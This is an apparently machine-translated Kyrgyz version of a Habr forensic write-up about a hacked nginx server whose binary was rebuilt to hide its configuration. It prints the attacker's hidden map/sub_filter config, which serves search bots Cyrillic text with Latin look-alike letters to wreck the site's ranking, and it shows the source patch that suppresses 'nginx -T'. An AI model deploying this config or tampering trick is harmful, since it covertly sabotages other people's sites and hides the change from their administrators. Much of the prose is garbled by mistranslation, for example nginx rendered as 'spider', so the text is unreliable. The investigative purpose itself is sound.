Качан 'a' 'a' барабар эмес. Хактын артынан

Менин досторумдун бири менен эң жагымсыз окуя болду. Бирок бул Михаил үчүн канчалык жагымсыз болсо, мен үчүн да ошондой эле кызыктуу болду.

Менин досум абдан жакшы экенин айтышым керек UNIX-колдонуучу: системаны өзү орното алат MySQL, PHP жана жөнөкөй орнотууларды жасаңыз жөргөмүш.
Ал эми анын курулуш куралдарына арналган ондогон же бир жарым сайттары бар.

Chainsaws арналган бул сайттардын бири издөө системаларынын ТОПунда бекем отурат. Бул сайт коммерциялык эмес серепчи, бирок кимдир бирөө ага кол салууну адат кылып алган. Ошол DDoS, анан орой күч колдонуп, анан алар уятсыз комментарийлерди жазып, хостингге жана РКНге кордоп жиберишет.
Күтүлбөгөн жерден баары тынчып, бул бейпилдик жакшы эмес болуп чыкты, сайт акырындык менен издөө натыйжаларынын жогорку саптарынан чыга баштады.

Качан 'a' 'a' барабар эмес. Хактын артынан

Бул сөз болчу, анан админдин өзү жомок.

Уктоого аз калганда телефон шыңгырады: "Сан, менин серверимди карабайсыңбы? Мени бузуп алышкан окшойт, аны далилдей албайм, бирок бул сезим мени үчүнчү жумадан бери калтыра элек. Балким, мен үчүн паранойядан дарыланууга убакыт келдиби?»

Андан кийин жарым сааттык талкуу болду, аны төмөнкүчө чагылдырууга болот:

  • кыртыш үчүн топурак абдан түшүмдүү болгон;
  • чабуулчу супер колдонуучу укуктарына ээ болушу мүмкүн;
  • кол салуу (эгерде ал орун алса) бул сайтка атайын багытталган;
  • көйгөйлүү жерлер оңдолду жана сиз жөн гана кандайдыр бир кириши бар-жогун түшүнүшүңүз керек;
  • хакерлик сайттын кодуна жана маалымат базасына таасирин тийгизе албайт.

Акыркы пунктка карата.

Качан 'a' 'a' барабар эмес. Хактын артынан

Ак алдыңкы IP гана дүйнөнү карайт. http(лардан) башка серверлер менен фронтондун ортосунда эч кандай алмашуу жок, колдонуучулар/сырсөздөр ар башка, ачкычтар алмаштырылган жок. Боз даректерде 80/443дөн башка бардык порттор жабык. White backend IP'лери Михаил толугу менен ишенген эки колдонуучуга гана белгилүү.

Frontend боюнча орнотулган Debian 9 жана чалуу жасалган учурда, система тышкы брандмауэр менен дүйнөдөн обочолонуп, токтойт.

"Макул, мага уруксат бер" деп уйкумду бир саатка калтырууну чечтим. "Мен өз көзүм менен көрөм."

Бул жерде жана андан ары:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Мүмкүн болгон хакерликти издеп жатабыз

Мен серверди биринчи баштайм куткаруу режими. Мен дисктерди орнотуп, аларды карап чыгам автор-журналдар, тарых, система журналдары, ж.б., мүмкүн болсо, мен файлдын түзүлгөн даталарын текшерем, бирок мен түшүнөм, кадимки крекер өзүнөн кийин "шыпырып" кетмек, ал эми Миша өзүн издеп жүргөндө көп "тепселген" болчу. .

Мен кадимки режимде баштайм, эмнени издөө керектигин түшүнө элекмин, конфигурацияларды изилдейм. Биринчиден, мени кызыктырат жөргөмүш анткени, жалпысынан, фронтондо андан башка эч нерсе жок.
Конфигурациялар кичинекей, ондогон файлдарга жакшы структураланган, мен аларды карап чыгам мышык'оо бирден. Баары таза окшойт, бирок мен бир нерсени сагындымбы билбейсиң камтыйт, мен толук тизмени түзө кетейин:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Мен түшүнгөн жокмун: "Листинг кайда?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Листинг суроосуна экинчи суроо кошулат: "Эмне үчүн nginxтин байыркы версиясы?"

Мындан тышкары, система акыркы версия орнотулган деп эсептейт:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Мен чакырып жатам:
- Миша, эмнеге кайра чогулттуң жөргөмүш?
- Ойгон, мен муну кантип кылышты билбейм!
- Макул, уктай бер...

жөргөмүш ал так кайра курулган жана "-T" колдонуу менен листингдин чыгышы бир себеп менен жашырылган. Эми хакерликке эч кандай шек жок жана сиз аны жөн гана кабыл ала аласыз жана (Миша баары бир серверди жаңысына алмаштыргандыктан) көйгөй чечилди деп эсептей аласыз.

Чынында эле, кимдир бирөө укуктарды алгандан бери тамыр'ah, анда муну кылуунун мааниси бар системаны кайра орнотуу, жана ал жерде эмне болуп жатканын издөө пайдасыз эле, бирок бул жолу кызыгуу уйкуну жеңди. Алар бизден эмнени жашыргысы келгенин кантип биле алабыз?

Келгиле, байкоо жүргүзүүгө аракет кылалы:

$ strace nginx -T

Карап көрсөк, изи а лада саптар жетишсиз экени көрүнүп турат

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Жөн гана көңүл ачуу үчүн, келгиле, жыйынтыктарды салыштырып көрөлү.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мен коддун бир бөлүгү деп ойлойм /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

формага келтирилди:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

же

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ошондуктан "-T" менен листинг көрсөтүлбөйт.

Бирок конфигурациябызды кантип көрө алабыз?

Менин оюм туура болсо жана маселе өзгөрмөдө гана болсо ngx_dump_config колдонуп, аны орнотууга аракет кылалы gdb, бактыга жараша ачкычы бар --with-cc-opt -g азыркы жана оптималдаштыруу деп үмүттөнөбүз -O2 ал бизге зыян тийгизбейт. Ошол эле учурда, мен кантип билбейм, анткени ngx_dump_config ичинде иштетилиши мүмкүн 'T' учуру:, биз бул блокту чакырбайбыз, бирок аны колдонуу менен орнотобуз "t" учуру:

Эмне үчүн '-t' жана '-T' колдоно аласызБлок иштетүү if(ngx_dump_config) ичинде болот if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Албетте, эгер код ушул бөлүктө эмес, өзгөртүлсө 'T' учуру:, анда менин методум иштебейт.

nginx.conf текшериңизМаселени эксперименталдык түрдө чечкен соң, зыяндуу программанын иштеши үчүн минималдуу конфигурация талап кылынары аныкталган жөргөмүш түрү:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Биз аны макалада кыска үчүн колдонобуз.

Мүчүлүштүктөрдү оңдоону ишке киргизиңиз

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Кадамдар:

  • функцияда үзгүлтүккө учуратуу чекит коюу main ()
  • программаны ишке киргизүү
  • конфигурациянын чыгышын аныктаган өзгөрмөнүн маанисин өзгөртүү ngx_dump_config=1
  • программаны улантуу/аяктоо

Көрүнүп тургандай, чыныгы конфигурация биздикинен айырмаланып турат, биз андан мите бөлүгүн тандайбыз:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Келгиле, ирети менен бул жерде эмне болуп жатканын карап көрөлү.

Чечкиндүү Колдонуучунун агентиyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Кызмат барактары алынып салынат WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ал эми жогорудагы эки шартка тең түшкөндөр үчүн

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

текстте HTML-беттер өзгөрөт 'O' боюнча 'o' и 'A' боюнча 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Туура, бир гана кылдаттык ошол 'a' != 'a' ошондой эле 'o' != 'o':

Качан 'a' 'a' барабар эмес. Хактын артынан

Ошентип, издөө системасынын боттору кадимки 100% кириллица текстинин ордуна латын менен суюлтулган өзгөртүлгөн таштандыларды алышат. 'a' и 'o'. Мен бул SEOге кандай таасир этээрин талкуулоого батынбайм, бирок тамгалардын мындай башаламандыгы издөө натыйжаларындагы позицияларга оң таасирин тийгизиши күмөн.

Эмне дейм, фантазиясы бар жигиттер.

шилтемелер

GDB менен мүчүлүштүктөрдү оңдоо
gdb(1) — Linux адам барагы
strace(1) — Linux адам барагы
Nginx - ngx_http_sub_module модулу
араа, чынжыр жана электр араа жөнүндө

Source: www.habr.com

Комментарий кошуу